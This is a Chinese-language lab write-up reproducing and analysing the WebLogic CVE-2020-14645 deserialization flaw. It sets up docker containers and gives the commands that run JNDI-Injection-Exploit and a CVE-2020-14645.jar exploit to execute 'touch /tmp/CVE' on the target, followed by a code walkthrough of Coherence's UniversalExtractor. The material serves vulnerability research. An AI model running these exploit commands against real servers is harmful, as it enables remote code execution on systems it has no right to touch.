WebLogic UniversalExtrac tor 反序列化漏洞(CVE-2020-14645)的复现和分析

 

简介

WebLogic是美国Oracle公司的Java应用服务器,确切说是一个中间件,被用于WEB应用、数据库应用等的集成开发部署。

WebLogic的T3协议易被利用,从而采用JNDI注入、反序列化方法达到远程代码执行的目标。

存在安全缺陷的版本:WebLogic12.2.1.4.x,【JDK版本:6u211以下;7u201以下;8u191以下】本文使用JDK1.8.0_181。

 

漏洞挖掘能力条件

认为应掌握JNDI注入方法,并清晰WebLogic的coherence源码的逻辑功能。

 

利用方法

环境

在WIN10的WSL2下用docker镜像 weblogic122140jdk8u181new:latest、 ubuntu 创建三个容器,称为weblogic122140jdk8u181new、ubuntu-JNDI、ubuntu-gongji作用分别为WebLogic服务器、JNDI服务器、攻击机。

对于weblogic122140jdk8u181new容器【ip:172.17.0.2】 的生成过程,需要进入【WeblogicEnvironment】 文件夹, 参照【https://github.com/QAX-A-Team/WeblogicEnvironment】 方法即可生成, 命令是【docker build —build-arg JDK_PKG=jdk-8u181-linux-x64.tar.gz —build-arg WEBLOGIC_JAR=fmw_12.2.1.4.0_wls_lite_generic.jar -t weblogic122140jdk8u181new .】、【docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 —name weblogic122140jdk8u181new weblogic122140jdk8u181new】。

对于由ubuntu镜像生成的ubuntu-JNDI容器【ip:172.17.0.3】, 将jdk-8u181-linux-x64.tar.gz、JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar拷贝至容器内,参照【https://www.cnblogs.com/hellojesson/p/11684299.html】 安装好jdk,执行命令【java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/CVE -A 172.17.0.3】。

对于由ubuntu镜像生成的ubuntu-gongji容器【ip:172.17.0.4】, 将jdk-8u181-linux-x64.tar.gz、CVE-2020-14645.jar拷贝至容器内, 参照【https://www.cnblogs.com/hellojesson/p/11684299.html】 安装好jdk。

目标

在WebLogic服务器执行代码【touch /tmp/CVE】,从而在tmp文件夹下生成CVE文件。

复现

ubuntu-JNDI容器会输出可利用的LDAP链接,本次输入结果如下:

则在攻击机ubuntu-gongji容器中输入转发类命令如下:

注意标红位置LDAP链接尾部是随机产生的,每次均不一样。

weblogic122140jdk8u181new容器会出现经代码执行后生成的文件:

分析方法【省略部分代码分析】

程序运行时,会跳转至下图红框中的coherence库中执行部分功能。

com.tangosol.util.extractor.UniversalExtractor类中:

protected transient String m_sNameCanon;
private transient TargetReflectionDescriptor m_cacheTarget;
private transient boolean m_fMethod;

com.tangosol.util.extractor.UniversalExtractor#extract方法中的 com.tangosol.util.extractor.UniversalExtractor#extractComplex方法中:

Class clzTarget = oTarget.getClass();
 
 
Class[] clzParam = ClassHelper.getClassArray(aoParam);
 
 
String sCName = this.getCanonicalName();#【无参的函数或空值】
 
 
boolean fProperty = this.isPropertyExtractor();
 
 
Method method = null;
 
 
if (fProperty) {#【方法对象的获取只有一个条件】
 
 
            String sBeanAttribute = Character.toUpperCase(sCName.charAt(0)) + sCName.substring(1);【首字母大写】
 
 
 
 
 
 
            for(int cchPrefix = 0; cchPrefix < BEAN_ACCESSOR_PREFIXES.length && method == null; ++cchPrefix) {
 
 
                method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false);【对由get/is+字符组成的新字符进行处理】【ClassHelper.findMethod查找与指定类、方法名称和参数匹配的重要方法】【指定函数必须由“get”或“is”开头,且无参】
 
 
            }
 
 
        } else {
 
 
            method = ClassHelper.findMethod(clzTarget, this.getMethodName(), clzParam, false);
 
 
        }

初步认为,进入else分支中,即可调用任意方法,前提是fProperty为false。

经研究,fProperty由!this.m_fMethod决定,其赋值如下init()函数:

    protected void init() {
 
 
        String sCName = this.getCanonicalName();
 
 
        this.m_fMethod = sCName == null || sCName.endsWith("()");#【sCName为无参函数时符合要求】
 
 
}

fProperty方面,当sCName不是无参函数且非空时,fProperty为true。

继续分析String sCName = this.getCanonicalName();,追溯到类com.oracle.common.internal.util.CanonicalNames的方法com.oracle.common.internal.util.CanonicalNames#computeValueExtractorCanonicalName(java.lang.String, java.lang.Object[]):

public static String computeValueExtractorCanonicalName(String sName, Object[] aoParam) {#【此方法要求函数必须是无参的】
 
 
        int nMethodSuffixLength = "()".length();
 
 
        if (aoParam != null && aoParam.length > 0) {
 
 
            return null;#【参数非空则返回空】
 
 
        } else if (!sName.endsWith("()")) {
 
 
            return sName; #【函数名不以“()”结尾则返回函数名】
 
 
        } else {
 
 
            String sNameCanonical = sName;
 
 
            int nNameLength = sName.length();
 
 
            String[] var5 = VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES; #【“get”,“is”】
 
 
            int var6 = var5.length;
 
 
 
 
 
 
            for(int var7 = 0; var7 < var6; ++var7) {
 
 
                String sPrefix = var5[var7];
 
 
                int nPrefixLength = sPrefix.length();
 
 
                if (nNameLength > nPrefixLength && sName.startsWith(sPrefix)) {
 
 
                    sNameCanonical = Character.toLowerCase(sName.charAt(nPrefixLength)) + sName.substring(nPrefixLength + 1, nNameLength - nMethodSuffixLength); #【函数名前几位是“get”/“is”,去除尾部“()”】
 
 
                    break;
 
 
                }
 
 
            }
 
 
 
 
 
 
            return sNameCanonical;
 
 
        }
 
 
    }

综上,有三种方法。

方法1:寻找以“get”/“is”开头的函数名。【机会较小】

方法2:使fProperty为false,则需寻找以“get”/“is”开头的无参函数。【机会很小】

方法3:观察extract在compare函数中被调用了两次,会导致一些值发生变化,从而产生缺陷。【经验证无效】

对于方法1,可找到合规函数名,再找可序列化的对象(例如,控制dataSource,就能控制javax.sql.rowset.BaseRowSet#getDataSourceName,进行JNDI注入。

 

补丁分析

暂无

 

docker复现

加载容器tar为镜像,例子:

cat ./ubuntu-xxx.tar | docker import – ubuntu-new

设置局域网及容器ip、启动容器,例子:

(1)自定义网络

docker network create —subnet=192.168.10.1/24 testnet

(2)启动docker容器

docker run -p 8088:8088 -p 8081:8081 -it —name testt3 —hostname testt3 —network testnet —ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

当容器【ubuntu-JNDI1106】的ip是172.17.0.3、容器【ubuntu-gongji1106】的ip是172.17.0.5、容器【weblogic122140jdk8u181new1106】的ip是172.17.0.4时,
启动weblogic服务。进入容器【weblogic122140jdk8u181new1106】,输入命令【sh /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh】,启动成功,如下图。

启动JNDI服务。进入容器【ubuntu-JNDI1106】,依次输入命令【source /etc/profile】、【java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/CVE110667 -A 172.17.0.3】,可知适用于jdk1.8的JNDI访问链接为【ldap://172.17.0.3:1389/usns1q】, 如下图。

发起攻击。进入容器【ubuntu-gongji1106】,依次输入命令【source /etc/profile】、【java -jar CVE-2020-14645.jar 172.17.0.3:1389/usns1q http://172.17.0.4:7001】, 加粗部分为JNDI链接,攻击成功会返回weblogic版本,如下图。

攻击成功后,容器【ubuntu-JNDI1106】会显示传输信息,如下图。

攻击成功后,weblogic服务器会生成【CVE】文件,如下图。

 

参考资料

https://www.chainnews.com/articles/884170141841.htm
https://www.freebuf.com/vuls/251540.html
https://github.com/QAX-A-Team/WeblogicEnvironment
https://paper.seebug.org/1012/#weblogic
https://cloud.tencent.com/developer/article/1608010
https://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/
https://paper.seebug.org/1280/#cve-2020-14645
https://www.anquanke.com/post/id/210724

(完)